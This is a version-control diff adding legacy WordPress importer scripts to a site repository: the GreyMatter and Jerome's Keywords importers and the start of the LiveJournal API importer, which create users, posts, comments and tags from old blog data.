+/**
+ * GreyMatter Importer
+ *
+ * @package WordPress
+ * @subpackage Importer
+ */
+
+/**
+ * GreyMatter Importer class
+ *
+ * Basic GreyMatter to WordPress importer, will import posts, comments, and
+ * posts karma.
+ *
+ * @since unknown
+ */
+class GM_Import {
+
+	var $gmnames = array ();
+
+	function header() {
+		echo '<div class="wrap">';
+		screen_icon();
+		echo '<h2>'.__('Import GreyMatter').'</h2>';
+	}
+
+	function footer() {
+		echo '</div>';
+	}
+
+	function greet() {
+		$this->header();
+?>
+<p><?php _e('This is a basic GreyMatter to WordPress import script.') ?></p>
+<p><?php _e('What it does:') ?></p>
+<ul>
+<li><?php _e('Parses gm-authors.cgi to import (new) authors. Everyone is imported at level 1.') ?></li>
+<li><?php _e('Parses the entries cgi files to import posts, comments, and karma on posts (although karma is not used on WordPress yet).<br />If authors are found not to be in gm-authors.cgi, imports them at level 0.') ?></li>
+<li><?php _e("Detects duplicate entries or comments. If you don't import everything the first time, or this import should fail in the middle, duplicate entries will not be made when you try again.") ?></li>
+</ul>
+<p><?php _e('What it does not:') ?></p>
+<ul>
+<li><?php _e('Parse gm-counter.cgi, gm-banlist.cgi, gm-cplog.cgi (you can make a CP log hack if you really feel like it, but I question the need of a CP log).') ?></li>
+<li><?php _e('Import gm-templates.') ?></li>
+<li><?php _e("Doesn't keep entries on top.")?></li>
+</ul>
+<p>&nbsp;</p>
+
+<form name="stepOne" method="get" action="">
+<input type="hidden" name="import" value="greymatter" />
+<input type="hidden" name="step" value="1" />
+<?php wp_nonce_field('import-greymatter'); ?>
+<h3><?php _e('Second step: GreyMatter details:') ?></h3>
+<table class="form-table">
+<tr>
+<td><label for="gmpath"><?php _e('Path to GM files:') ?></label></td>
+<td><input type="text" style="width:300px" name="gmpath" id="gmpath" value="/home/my/site/cgi-bin/greymatter/" /></td>
+</tr>
+<tr>
+<td><label for="archivespath"><?php _e('Path to GM entries:') ?></label></td>
+<td><input type="text" style="width:300px" name="archivespath" id="archivespath" value="/home/my/site/cgi-bin/greymatter/archives/" /></td>
+</tr>
+<tr>
+<td><label for="lastentry"><?php _e('Last entry&#8217;s number:') ?></label></td>
+<td><input type="text" name="lastentry" id="lastentry" value="00000001" /><br />
+	<?php _e('This importer will search for files 00000001.cgi to 000-whatever.cgi,<br />so you need to enter the number of the last GM post here.<br />(if you don&#8217;t know that number, just log into your FTP and look it out<br />in the entries&#8217; folder)') ?></td>
+</tr>
+</table>
+<p class="submit"><input type="submit" name="submit" class="button" value="<?php esc_attr_e('Start Importing') ?>" /></p>
+</form>
+<?php
+		$this->footer();
+	}
+
+
+
+	function gm2autobr($string) { // transforms GM's |*| into b2's <br />\n
+		$string = str_replace("|*|","<br />\n",$string);
+		return($string);
+	}
+
+	function import() {
+		global $wpdb;
+
+		$wpvarstoreset = array('gmpath', 'archivespath', 'lastentry');
+		for ($i=0; $i<count($wpvarstoreset); $i += 1) {
+			$wpvar = $wpvarstoreset[$i];
+			if (!isset($$wpvar)) {
+				if (empty($_POST["$wpvar"])) {
+					if (empty($_GET["$wpvar"])) {
+						$$wpvar = '';
+					} else {
+						$$wpvar = $_GET["$wpvar"];
+					}
+				} else {
+					$$wpvar = $_POST["$wpvar"];
+				}
+			}
+		}
+
+		if (!chdir($archivespath))
+			wp_die(__("Wrong path, the path to the GM entries does not exist on the server"));
+
+		if (!chdir($gmpath))
+			wp_die(__("Wrong path, the path to the GM files does not exist on the server"));
+
+		$lastentry = (int) $lastentry;
+
+		$this->header();
+?>
+<p><?php _e('The importer is running...') ?></p>
+<ul>
+<li><?php _e('importing users...') ?><ul><?php
+
+	chdir($gmpath);
+	$userbase = file("gm-authors.cgi");
+
+	foreach($userbase as $user) {
+		$userdata=explode("|", $user);
+
+		$user_ip="127.0.0.1";
+		$user_domain="localhost";
+		$user_browser="server";
+
+		$s=$userdata[4];
+		$user_joindate=substr($s,6,4)."-".substr($s,0,2)."-".substr($s,3,2)." 00:00:00";
+
+		$user_login=$wpdb->escape($userdata[0]);
+		$pass1=$wpdb->escape($userdata[1]);
+		$user_nickname=$wpdb->escape($userdata[0]);
+		$user_email=$wpdb->escape($userdata[2]);
+		$user_url=$wpdb->escape($userdata[3]);
+		$user_joindate=$wpdb->escape($user_joindate);
+
+		$user_id = username_exists($user_login);
+		if ($user_id) {
+			printf('<li>'.__('user %s').'<strong>'.__('Already exists').'</strong></li>', "<em>$user_login</em>");
+			$this->gmnames[$userdata[0]] = $user_id;
+			continue;
+		}
+
+		$user_info = array("user_login"=>"$user_login", "user_pass"=>"$pass1", "user_nickname"=>"$user_nickname", "user_email"=>"$user_email", "user_url"=>"$user_url", "user_ip"=>"$user_ip", "user_domain"=>"$user_domain", "user_browser"=>"$user_browser", "dateYMDhour"=>"$user_joindate", "user_level"=>"1", "user_idmode"=>"nickname");
+		$user_id = wp_insert_user($user_info);
+		$this->gmnames[$userdata[0]] = $user_id;
+
+		printf('<li>'.__('user %s...').' <strong>'.__('Done').'</strong></li>', "<em>$user_login</em>");
+	}
+
+?></ul><strong><?php _e('Done') ?></strong></li>
+<li><?php _e('importing posts, comments, and karma...') ?><br /><ul><?php
+
+	chdir($archivespath);
+
+	for($i = 0; $i <= $lastentry; $i = $i + 1) {
+
+		$entryfile = "";
+
+		if ($i<10000000) {
+			$entryfile .= "0";
+			if ($i<1000000) {
+				$entryfile .= "0";
+				if ($i<100000) {
+					$entryfile .= "0";
+					if ($i<10000) {
+						$entryfile .= "0";
+						if ($i<1000) {
+							$entryfile .= "0";
+							if ($i<100) {
+								$entryfile .= "0";
+								if ($i<10) {
+									$entryfile .= "0";
+		}}}}}}}
+
+		$entryfile .= "$i";
+
+		if (is_file($entryfile.".cgi")) {
+
+			$entry=file($entryfile.".cgi");
+			$postinfo=explode("|",$entry[0]);
+			$postmaincontent=$this->gm2autobr($entry[2]);
+			$postmorecontent=$this->gm2autobr($entry[3]);
+
+			$post_author=trim($wpdb->escape($postinfo[1]));
+
+			$post_title=$this->gm2autobr($postinfo[2]);
+			printf('<li>'.__('entry # %s : %s : by %s'), $entryfile, $post_title, $postinfo[1]);
+			$post_title=$wpdb->escape($post_title);
+
+			$postyear=$postinfo[6];
+			$postmonth=zeroise($postinfo[4],2);
+			$postday=zeroise($postinfo[5],2);
+			$posthour=zeroise($postinfo[7],2);
+			$postminute=zeroise($postinfo[8],2);
+			$postsecond=zeroise($postinfo[9],2);
+
+			if (($postinfo[10]=="PM") && ($posthour!="12"))
+				$posthour=$posthour+12;
+
+			$post_date="$postyear-$postmonth-$postday $posthour:$postminute:$postsecond";
+
+			$post_content=$postmaincontent;
+			if (strlen($postmorecontent)>3)
+				$post_content .= "<!--more--><br /><br />".$postmorecontent;
+			$post_content=$wpdb->escape($post_content);
+
+			$post_karma=$postinfo[12];
+
+			$post_status = 'publish'; //in greymatter, there are no drafts
+			$comment_status = 'open';
+			$ping_status = 'closed';
+
+			if ($post_ID = post_exists($post_title, '', $post_date)) {
+				echo ' ';
+				_e('(already exists)');
+			} else {
+				//just so that if a post already exists, new users are not created by checkauthor
+				// we'll check the author is registered, or if it's a deleted author
+				$user_id = username_exists($post_author);
+				if (!$user_id) {	// if deleted from GM, we register the author as a level 0 user
+					$user_ip="127.0.0.1";
+					$user_domain="localhost";
+					$user_browser="server";
+					$user_joindate="1979-06-06 00:41:00";
+					$user_login=$wpdb->escape($post_author);
+					$pass1=$wpdb->escape("password");
+					$user_nickname=$wpdb->escape($post_author);
+					$user_email=$wpdb->escape("user@deleted.com");
+					$user_url=$wpdb->escape("");
+					$user_joindate=$wpdb->escape($user_joindate);
+
+					$user_info = array("user_login"=>$user_login, "user_pass"=>$pass1, "user_nickname"=>$user_nickname, "user_email"=>$user_email, "user_url"=>$user_url, "user_ip"=>$user_ip, "user_domain"=>$user_domain, "user_browser"=>$user_browser, "dateYMDhour"=>$user_joindate, "user_level"=>0, "user_idmode"=>"nickname");
+					$user_id = wp_insert_user($user_info);
+					$this->gmnames[$postinfo[1]] = $user_id;
+
+					echo ': ';
+					printf(__('registered deleted user %s at level 0 '), "<em>$user_login</em>");
+				}
+
+				if (array_key_exists($postinfo[1], $this->gmnames)) {
+					$post_author = $this->gmnames[$postinfo[1]];
+				} else {
+					$post_author = $user_id;
+				}
+
+				$postdata = compact('post_author', 'post_date', 'post_date_gmt', 'post_content', 'post_title', 'post_excerpt', 'post_status', 'comment_status', 'ping_status', 'post_modified', 'post_modified_gmt');
+				$post_ID = wp_insert_post($postdata);
+				if ( is_wp_error( $post_ID ) )
+					return $post_ID;
+			}
+
+			$c=count($entry);
+			if ($c>4) {
+				$numAddedComments = 0;
+				$numComments = 0;
+				for ($j=4;$j<$c;$j++) {
+					$entry[$j]=$this->gm2autobr($entry[$j]);
+					$commentinfo=explode("|",$entry[$j]);
+					$comment_post_ID=$post_ID;
+					$comment_author=$wpdb->escape($commentinfo[0]);
+					$comment_author_email=$wpdb->escape($commentinfo[2]);
+					$comment_author_url=$wpdb->escape($commentinfo[3]);
+					$comment_author_IP=$wpdb->escape($commentinfo[1]);
+
+					$commentyear=$commentinfo[7];
+					$commentmonth=zeroise($commentinfo[5],2);
+					$commentday=zeroise($commentinfo[6],2);
+					$commenthour=zeroise($commentinfo[8],2);
+					$commentminute=zeroise($commentinfo[9],2);
+					$commentsecond=zeroise($commentinfo[10],2);
+					if (($commentinfo[11]=="PM") && ($commenthour!="12"))
+						$commenthour=$commenthour+12;
+					$comment_date="$commentyear-$commentmonth-$commentday $commenthour:$commentminute:$commentsecond";
+
+					$comment_content=$wpdb->escape($commentinfo[12]);
+
+					if (!comment_exists($comment_author, $comment_date)) {
+						$commentdata = compact('comment_post_ID', 'comment_author', 'comment_author_url', 'comment_author_email', 'comment_author_IP', 'comment_date', 'comment_content', 'comment_approved');
+						$commentdata = wp_filter_comment($commentdata);
+						wp_insert_comment($commentdata);
+						$numAddedComments++;
+					}
+					$numComments++;
+				}
+				if ($numAddedComments > 0) {
+					echo ': ';
+				printf( _n('imported %s comment', 'imported %s comments', $numAddedComments) , $numAddedComments);
+				}
+				$preExisting = $numComments - numAddedComments;
+				if ($preExisting > 0) {
+					echo ' ';
+					printf( _n( 'ignored %s pre-existing comment', 'ignored %s pre-existing comments', $preExisting ) , $preExisting);
+				}
+			}
+			echo '... <strong>'.__('Done').'</strong></li>';
+		}
+	}
+	do_action('import_done', 'greymatter');
+	?>
+</ul><strong><?php _e('Done') ?></strong></li></ul>
+<p>&nbsp;</p>
+<p><?php _e('Completed GreyMatter import!') ?></p>
+<?php
+	$this->footer();
+	return;
+	}
+
+	function dispatch() {
+		if (empty ($_GET['step']))
+			$step = 0;
+		else
+			$step = (int) $_GET['step'];
+
+		switch ($step) {
+			case 0 :
+				$this->greet();
+				break;
+			case 1:
+				check_admin_referer('import-greymatter');
+				$result = $this->import();
+				if ( is_wp_error( $result ) )
+					echo $result->get_error_message();
+				break;
+		}
+	}
+
+	function GM_Import() {
+		// Nothing.
+	}
+}
+
+$gm_import = new GM_Import();
+
+register_importer('greymatter', __('GreyMatter'), __('Import users, posts, and comments from a Greymatter blog.'), array ($gm_import, 'dispatch'));
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/import/jkw.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/import/jkw.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/import/jkw.php	(revision 44)
@@ -0,0 +1,192 @@
+<?php
+/**
+ * Jeromes Keyword Plugin Importer
+ *
+ * @package WordPress
+ * @subpackage Importer
+ */
+
+/**
+ * Jeromes Keyword Plugin Importer class
+ *
+ * Will convert Jeromes Keyword Plugin tags to WordPress taxonomy tags.
+ *
+ * @since 2.3
+ */
+class JeromesKeyword_Import {
+
+	function header() {
+		echo '<div class="wrap">';
+		screen_icon();
+		echo '<h2>'.__('Import Jerome&#8217;s Keywords').'</h2>';
+		echo '<p>'.__('Steps may take a few minutes depending on the size of your database. Please be patient.').'<br /><br /></p>';
+	}
+
+	function footer() {
+		echo '</div>';
+	}
+
+	function greet() {
+		echo '<div class="narrow">';
+		echo '<p>'.__('Howdy! This imports tags from Jerome&#8217;s Keywords into WordPress tags.').'</p>';
+		echo '<p>'.__('This is suitable for Jerome&#8217;s Keywords version 1.x and 2.0a.').'</p>';
+		echo '<p><strong>'.__('All existing Jerome&#8217;s Keywords will be removed after import.').'</strong></p>';
+		echo '<p><strong>'.__('Don&#8217;t be stupid - backup your database before proceeding!').'</strong></p>';
+		echo '<form action="admin.php?import=jkw&amp;step=1" method="post">';
+		wp_nonce_field('import-jkw');
+		echo '<p class="submit"><input type="submit" name="submit" class="button" value="'.esc_attr__('Import Version 1.x').'" /></p>';
+		echo '</form>';
+		echo '<form action="admin.php?import=jkw&amp;step=3" method="post">';
+		wp_nonce_field('import-jkw');
+		echo '<p class="submit"><input type="submit" name="submit" class="button" value="'.esc_attr__('Import Version 2.0a').'" /></p>';
+		echo '</form>';
+		echo '</div>';
+	}
+
+	function dispatch() {
+		if ( empty($_GET['step']) )
+			$step = 0;
+		else
+			$step = absint($_GET['step']);
+
+		// load the header
+		$this->header();
+
+		switch ( $step ) {
+			case 0 :
+				$this->greet();
+				break;
+			case 1 :
+				check_admin_referer('import-jkw');
+				$this->check_V1_post_keyword( true );
+				break;
+			case 2 :
+				check_admin_referer('import-jkw');
+				$this->check_V1_post_keyword( false );
+				break;
+			case 3 :
+				check_admin_referer('import-jkw');
+				$this->check_V2_post_keyword( true );
+				break;
+			case 4 :
+				check_admin_referer('import-jkw');
+				$this->check_V2_post_keyword( false );
+				break;
+			case 5:
+				check_admin_referer('import-jkw');
+				$this->cleanup_V2_import();
+				break;
+			case 6:
+				$this->done();
+				break;
+		}
+
+		// load the footer
+		$this->footer();
+	}
+
+	function check_V1_post_keyword($precheck = true) {
+		global $wpdb;
+
+		echo '<div class="narrow">';
+		echo '<p><h3>'.__('Reading Jerome&#8217;s Keywords Tags&#8230;').'</h3></p>';
+
+		// import Jerome's Keywords tags
+		$metakeys = $wpdb->get_results("SELECT post_id, meta_id, meta_key, meta_value FROM $wpdb->postmeta WHERE $wpdb->postmeta.meta_key = 'keywords'");
+		if ( !is_array($metakeys)) {
+			echo '<p>' . __('No Tags Found!') . '</p>';
+			return false;
+		} else {
+			$count = count($metakeys);
+			echo '<p>' . sprintf( _n('Done! <strong>%s</strong> post with tags were read.', 'Done! <strong>%s</strong> posts with tags were read.', $count), $count ) . '<br /></p>';
+			echo '<ul>';
+			foreach ( $metakeys as $post_meta ) {
+				if ( $post_meta->meta_value != '' ) {
+					$post_keys = explode(',', $post_meta->meta_value);
+					foreach ( $post_keys as $keyword ) {
+						$keyword = addslashes(trim($keyword));
+						if ( '' != $keyword ) {
+							echo '<li>' . $post_meta->post_id . '&nbsp;-&nbsp;' . $keyword . '</li>';
+							if ( !$precheck )
+								wp_add_post_tags($post_meta->post_id, $keyword);
+						}
+					}
+				}
+				if ( !$precheck )
+					delete_post_meta($post_meta->post_id, 'keywords');
+			}
+			echo '</ul>';
+		}
+
+		echo '<form action="admin.php?import=jkw&amp;step='.($precheck? 2:6).'" method="post">';
+		wp_nonce_field('import-jkw');
+		echo '<p class="submit"><input type="submit" name="submit" class="button" value="'.esc_attr__('Next').'" /></p>';
+		echo '</form>';
+		echo '</div>';
+	}
+
+	function check_V2_post_keyword($precheck = true) {
+		global $wpdb;
+
+		echo '<div class="narrow">';
+		echo '<p><h3>'.__('Reading Jerome&#8217;s Keywords Tags&#8230;').'</h3></p>';
+
+		// import Jerome's Keywords tags
+		$tablename = $wpdb->prefix . substr(get_option('jkeywords_keywords_table'), 1, -1);
+		$metakeys = $wpdb->get_results("SELECT post_id, tag_name FROM $tablename");
+		if ( !is_array($metakeys) ) {
+			echo '<p>' . __('No Tags Found!') . '</p>';
+			return false;
+		} else {
+			$count = count($metakeys);
+			echo '<p>' . sprintf( _n('Done! <strong>%s</strong> tag were read.', 'Done! <strong>%s</strong> tags were read.', $count), $count ) . '<br /></p>';
+			echo '<ul>';
+			foreach ( $metakeys as $post_meta ) {
+				$keyword = addslashes(trim($post_meta->tag_name));
+				if ( $keyword != '' ) {
+					echo '<li>' . $post_meta->post_id . '&nbsp;-&nbsp;' . $keyword . '</li>';
+					if ( !$precheck )
+						wp_add_post_tags($post_meta->post_id, $keyword);
+				}
+			}
+		echo '</ul>';
+		}
+		echo '<form action="admin.php?import=jkw&amp;step='.($precheck? 4:5).'" method="post">';
+		wp_nonce_field('import-jkw');
+		echo '<p class="submit"><input type="submit" name="submit" class="button" value="'.esc_attr__('Next').'" /></p>';
+		echo '</form>';
+		echo '</div>';
+	}
+
+	function cleanup_V2_import() {
+		global $wpdb;
+
+		/* options from V2.0a (jeromes-keywords.php) */
+		$options = array('version', 'keywords_table', 'query_varname', 'template', 'meta_always_include', 'meta_includecats', 'meta_autoheader', 'search_strict', 'use_feed_cats', 'post_linkformat', 'post_tagseparator', 'post_includecats', 'post_notagstext', 'cloud_linkformat', 'cloud_tagseparator', 'cloud_includecats', 'cloud_sortorder', 'cloud_displaymax', 'cloud_displaymin', 'cloud_scalemax', 'cloud_scalemin');
+
+		$wpdb->query('DROP TABLE IF EXISTS ' . $wpdb->prefix . substr(get_option('jkeywords_keywords_table'), 1, -1));
+
+		foreach ( $options as $o )
+			delete_option('jkeywords_' . $o);
+
+		$this->done();
+	}
+
+	function done() {
+		echo '<div class="narrow">';
+		echo '<p><h3>'.__('Import Complete!').'</h3></p>';
+		echo '</div>';
+	}
+
+	function JeromesKeyword_Import() {
+	}
+
+}
+
+// create the import object
+$jkw_import = new JeromesKeyword_Import();
+
+// add it to the import page!
+register_importer('jkw', 'Jerome&#8217;s Keywords', __('Import Jerome&#8217;s Keywords into WordPress tags.'), array($jkw_import, 'dispatch'));
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/import/livejournal.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/import/livejournal.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/import/livejournal.php	(revision 44)
@@ -0,0 +1,1054 @@
+<?php
+
+/**
+ * LiveJournal API Importer
+ *
+ * @package WordPress
+ * @subpackage Importer
+ */
+
+// XML-RPC library for communicating with LiveJournal API
+require_once( ABSPATH . WPINC . '/class-IXR.php' );
+
+/**
+ * LiveJournal API Importer class
+ *
+ * Imports your LiveJournal contents into WordPress using the LJ API
+ *
+ * @since 2.8
+ */
+class LJ_API_Import {
+
+	var $comments_url = 'http://www.livejournal.com/export_comments.bml';
+	var $ixr_url      = 'http://www.livejournal.com/interface/xmlrpc';
+	var $ixr;
+	var $username;
+	var $password;
+	var $comment_meta;
+	var $comments;
+	var $usermap;
+	var $postmap;
+	var $commentmap;
+	var $pointers = array();
+
+	// This list taken from LJ, they don't appear to have an API for it
+	var $moods = array( '1' => 'aggravated',
+						'10' => 'discontent',
+						'100' => 'rushed',
+						'101' => 'contemplative',
+						'102' => 'nerdy',
+						'103' => 'geeky',
+						'104' => 'cynical',
+						'105' => 'quixotic',
+						'106' => 'crazy',
+						'107' => 'creative',
+						'108' => 'artistic',
+						'109' => 'pleased',
+						'11' => 'energetic',
+						'110' => 'bitchy',
+						'111' => 'guilty',
+						'112' => 'irritated',
+						'113' => 'blank',
+						'114' => 'apathetic',
+						'115' => 'dorky',
+						'116' => 'impressed',
+						'117' => 'naughty',
+						'118' => 'predatory',
+						'119' => 'dirty',
+						'12' => 'enraged',
+						'120' => 'giddy',
+						'121' => 'surprised',
+						'122' => 'shocked',
+						'123' => 'rejected',
+						'124' => 'numb',
+						'125' => 'cheerful',
+						'126' => 'good',
+						'127' => 'distressed',
+						'128' => 'intimidated',
+						'129' => 'crushed',
+						'13' => 'enthralled',
+						'130' => 'devious',
+						'131' => 'thankful',
+						'132' => 'grateful',
+						'133' => 'jealous',
+						'134' => 'nervous',
+						'14' => 'exhausted',
+						'15' => 'happy',
+						'16' => 'high',
+						'17' => 'horny',
+						'18' => 'hungry',
+						'19' => 'infuriated',
+						'2' => 'angry',
+						'20' => 'irate',
+						'21' => 'jubilant',
+						'22' => 'lonely',
+						'23' => 'moody',
+						'24' => 'pissed off',
+						'25' => 'sad',
+						'26' => 'satisfied',
+						'27' => 'sore',
+						'28' => 'stressed',
+						'29' => 'thirsty',
+						'3' => 'annoyed',
+						'30' => 'thoughtful',
+						'31' => 'tired',
+						'32' => 'touched',
+						'33' => 'lazy',
+						'34' => 'drunk',
+						'35' => 'ditzy',
+						'36' => 'mischievous',
+						'37' => 'morose',
+						'38' => 'gloomy',
+						'39' => 'melancholy',
+						'4' => 'anxious',
+						'40' => 'drained',
+						'41' => 'excited',
+						'42' => 'relieved',
+						'43' => 'hopeful',
+						'44' => 'amused',
+						'45' => 'determined',
+						'46' => 'scared',
+						'47' => 'frustrated',
+						'48' => 'indescribable',
+						'49' => 'sleepy',
+						'5' => 'bored',
+						'51' => 'groggy',
+						'52' => 'hyper',
+						'53' => 'relaxed',
+						'54' => 'restless',
+						'55' => 'disappointed',
+						'56' => 'curious',
+						'57' => 'mellow',
+						'58' => 'peaceful',
+						'59' => 'bouncy',
+						'6' => 'confused',
+						'60' => 'nostalgic',
+						'61' => 'okay',
+						'62' => 'rejuvenated',
+						'63' => 'complacent',
+						'64' => 'content',
+						'65' => 'indifferent',
+						'66' => 'silly',
+						'67' => 'flirty',
+						'68' => 'calm',
+						'69' => 'refreshed',
+						'7' => 'crappy',
+						'70' => 'optimistic',
+						'71' => 'pessimistic',
+						'72' => 'giggly',
+						'73' => 'pensive',
+						'74' => 'uncomfortable',
+						'75' => 'lethargic',
+						'76' => 'listless',
+						'77' => 'recumbent',
+						'78' => 'exanimate',
+						'79' => 'embarrassed',
+						'8' => 'cranky',
+						'80' => 'envious',
+						'81' => 'sympathetic',
+						'82' => 'sick',
+						'83' => 'hot',
+						'84' => 'cold',
+						'85' => 'worried',
+						'86' => 'loved',
+						'87' => 'awake',
+						'88' => 'working',
+						'89' => 'productive',
+						'9' => 'depressed',
+						'90' => 'accomplished',
+						'91' => 'busy',
+						'92' => 'blah',
+						'93' => 'full',
+						'95' => 'grumpy',
+						'96' => 'weird',
+						'97' => 'nauseated',
+						'98' => 'ecstatic',
+						'99' => 'chipper' );
+
+	function header() {
+		echo '<div class="wrap">';
+		screen_icon();
+		echo '<h2>' . __( 'Import LiveJournal' ) . '</h2>';
+	}
+
+	function footer() {
+		echo '</div>';
+	}
+
+	function greet() {
+		?>
+		<div class="narrow">
+		<form action="admin.php?import=livejournal" method="post">
+		<?php wp_nonce_field( 'lj-api-import' ) ?>
+		<?php if ( get_option( 'ljapi_username' ) && get_option( 'ljapi_password' ) ) : ?>
+			<input type="hidden" name="step" value="<?php echo esc_attr( get_option( 'ljapi_step' ) ) ?>" />
+			<p><?php _e( 'It looks like you attempted to import your LiveJournal posts previously and got interrupted.' ) ?></p>
+			<p class="submit">
+				<input type="submit" class="button-primary" value="<?php esc_attr_e( 'Continue previous import' ) ?>" />
+			</p>
+			<p class="submitbox"><a href="<?php echo esc_url($_SERVER['PHP_SELF'] . '?import=livejournal&amp;step=-1&amp;_wpnonce=' . wp_create_nonce( 'lj-api-import' ) . '&amp;_wp_http_referer=' . esc_attr( $_SERVER['REQUEST_URI'] )) ?>" class="deletion submitdelete"><?php _e( 'Cancel &amp; start a new import' ) ?></a></p>
+			<p>
+		<?php else : ?>
+			<input type="hidden" name="step" value="1" />
+			<input type="hidden" name="login" value="true" />
+			<p><?php _e( 'Howdy! This importer allows you to connect directly to LiveJournal and download all your entries and comments' ) ?></p>
+			<p><?php _e( 'Enter your LiveJournal username and password below so we can connect to your account:' ) ?></p>
+
+			<table class="form-table">
+
+			<tr>
+			<th scope="row"><label for="lj_username"><?php _e( 'LiveJournal Username' ) ?></label></th>
+			<td><input type="text" name="lj_username" id="lj_username" class="regular-text" /></td>
+			</tr>
+
+			<tr>
+			<th scope="row"><label for="lj_password"><?php _e( 'LiveJournal Password' ) ?></label></th>
+			<td><input type="password" name="lj_password" id="lj_password" class="regular-text" /></td>
+			</tr>
+
+			</table>
+
+			<p><?php _e( 'If you have any entries on LiveJournal which are marked as private, they will be password-protected when they are imported so that only people who know the password can see them.' ) ?></p>
+			<p><?php _e( 'If you don&#8217;t enter a password, ALL ENTRIES from your LiveJournal will be imported as public posts in WordPress.' ) ?></p>
+			<p><?php _e( 'Enter the password you would like to use for all protected entries here:' ) ?></p>
+			<table class="form-table">
+
+			<tr>
+			<th scope="row"><label for="protected_password"><?php _e( 'Protected Post Password' ) ?></label></th>
+			<td><input type="text" name="protected_password" id="protected_password" class="regular-text" /></td>
+			</tr>
+
+			</table>
+
+			<p><?php _e( "<strong>WARNING:</strong> This can take a really long time if you have a lot of entries in your LiveJournal, or a lot of comments. Ideally, you should only start this process if you can leave your computer alone while it finishes the import." ) ?></p>
+
+			<p class="submit">
+				<input type="submit" class="button-primary" value="<?php esc_attr_e( 'Connect to LiveJournal and Import' ) ?>" />
+			</p>
+
+			<p><?php _e( '<strong>NOTE:</strong> If the import process is interrupted for <em>any</em> reason, come back to this page and it will continue from where it stopped automatically.' ) ?></p>
+
+			<noscript>
+				<p><?php _e( '<strong>NOTE:</strong> You appear to have JavaScript disabled, so you will need to manually click through each step of this importer. If you enable JavaScript, it will step through automatically.' ) ?></p>
+			</noscript>
+		<?php endif; ?>
+		</form>
+		</div>
+		<?php
+	}
+
+	function download_post_meta() {
+		$total           = (int) get_option( 'ljapi_total' );
+		$count           = (int) get_option( 'ljapi_count' );
+		$lastsync        = get_option( 'ljapi_lastsync' );
+		if ( !$lastsync ) {
+			update_option( 'ljapi_lastsync', '1900-01-01 00:00:00' );
+		}
+		$sync_item_times = get_option( 'ljapi_sync_item_times' );
+		if ( !is_array( $sync_item_times ) )
+			$sync_item_times = array();
+
+		do {
+			$lastsync = date( 'Y-m-d H:i:s', strtotime( get_option( 'ljapi_lastsync' ) ) );
+			$synclist = $this->lj_ixr( 'syncitems', array( 'ver' => 1, 'lastsync' => $lastsync ) );
+			if ( is_wp_error( $synclist ) )
+				return $synclist;
+
+			// Keep track of if we've downloaded everything
+			$total = $synclist['total'];
+			$count = $synclist['count'];
+
+			foreach ( $synclist['syncitems'] as $event ) {
+				if ( substr( $event['item'], 0, 2 ) == 'L-' ) {
+					$sync_item_times[ str_replace( 'L-', '', $event['item'] ) ] = $event['time'];
+					if ( $event['time'] > $lastsync ) {
+						$lastsync = $event['time'];
+						update_option( 'ljapi_lastsync', $lastsync );
+					}
+				}
+			}
+		} while ( $total > $count );
+		// endwhile - all post meta is cached locally
+		unset( $synclist );
+		update_option( 'ljapi_sync_item_times', $sync_item_times );
+		update_option( 'ljapi_total', $total );
+		update_option( 'ljapi_count', $count );
+
+		echo '<p>' . __( 'Post metadata has been downloaded, proceeding with posts...' ) . '</p>';
+	}
+
+	function download_post_bodies() {
+		$imported_count  = (int) get_option( 'ljapi_imported_count' );
+		$sync_item_times = get_option( 'ljapi_sync_item_times' );
+		$lastsync        = get_option( 'ljapi_lastsync_posts' );
+		if ( !$lastsync )
+			update_option( 'ljapi_lastsync_posts', date( 'Y-m-d H:i:s', 0 ) );
+
+		$count = 0;
+		echo '<ol>';
+		do {
+			$lastsync = date( 'Y-m-d H:i:s', strtotime( get_option( 'ljapi_lastsync_posts' ) ) );
+
+			// Get the batch of items that match up with the syncitems list
+			$itemlist = $this->lj_ixr( 'getevents', array( 'ver' => 1,
+															'selecttype' => 'syncitems',
+															'lineendings' => 'pc',
+															'lastsync' => $lastsync ) );
+			if ( is_wp_error( $itemlist ) )
+				return $itemlist;
+
+			if ( $num = count( $itemlist['events'] ) ) {
+				for ( $e = 0; $e < count( $itemlist['events'] ); $e++ ) {
+					$event = $itemlist['events'][$e];
+					$imported_count++;
+					$inserted = $this->import_post( $event );
+					if ( is_wp_error( $inserted ) )
+						return $inserted;
+					if ( $sync_item_times[ $event['itemid'] ] > $lastsync )
+						$lastsync = $sync_item_times[ $event['itemid'] ];
+					wp_cache_flush();
+				}
+				update_option( 'ljapi_lastsync_posts',  $lastsync );
+				update_option( 'ljapi_imported_count',  $imported_count );
+				update_option( 'ljapi_last_sync_count', $num );
+			}
+			$count++;
+		} while ( $num > 0 && $count < 3 ); // Doing up to 3 requests at a time to avoid memory problems
+
+		// Used so that step1 knows when to stop posting back on itself
+		update_option( 'ljapi_last_sync_count', $num );
+
+		// Counter just used to show progress to user
+		update_option( 'ljapi_post_batch', ( (int) get_option( 'ljapi_post_batch' ) + 1 ) );
+
+		echo '</ol>';
+	}
+
+	function import_post( $post ) {
+		global $wpdb;
+
+		// Make sure we haven't already imported this one
+		if ( $this->get_wp_post_ID( $post['itemid'] ) )
+			return;
+
+		$user = wp_get_current_user();
+		$post_author      = $user->ID;
+		$post['security'] = !empty( $post['security'] ) ? $post['security'] : '';
+		$post_status      = ( 'private' == trim( $post['security'] ) ) ? 'private' : 'publish'; // Only me
+		$post_password    = ( 'usemask' == trim( $post['security'] ) ) ? $this->protected_password : ''; // "Friends" via password
+
+		// For some reason, LJ sometimes sends a date as "2004-04-1408:38:00" (no space btwn date/time)
+		$post_date = $post['eventtime'];
+		if ( 18 == strlen( $post_date ) )
+			$post_date = substr( $post_date, 0, 10 ) . ' ' . substr( $post_date, 10 );
+
+		// Cleaning up and linking the title
+		$post_title = isset( $post['subject'] ) ? trim( $post['subject'] ) : '';
+		$post_title = $this->translate_lj_user( $post_title ); // Translate it, but then we'll strip the link
+		$post_title = strip_tags( $post_title ); // Can't have tags in the title in WP
+		$post_title = $wpdb->escape( $post_title );
+
+		// Clean up content
+		$post_content = $post['event'];
+		$post_content = preg_replace_callback( '|<(/?[A-Z]+)|', create_function( '$match', 'return "<" . strtolower( $match[1] );' ), $post_content );
+		// XHTMLize some tags
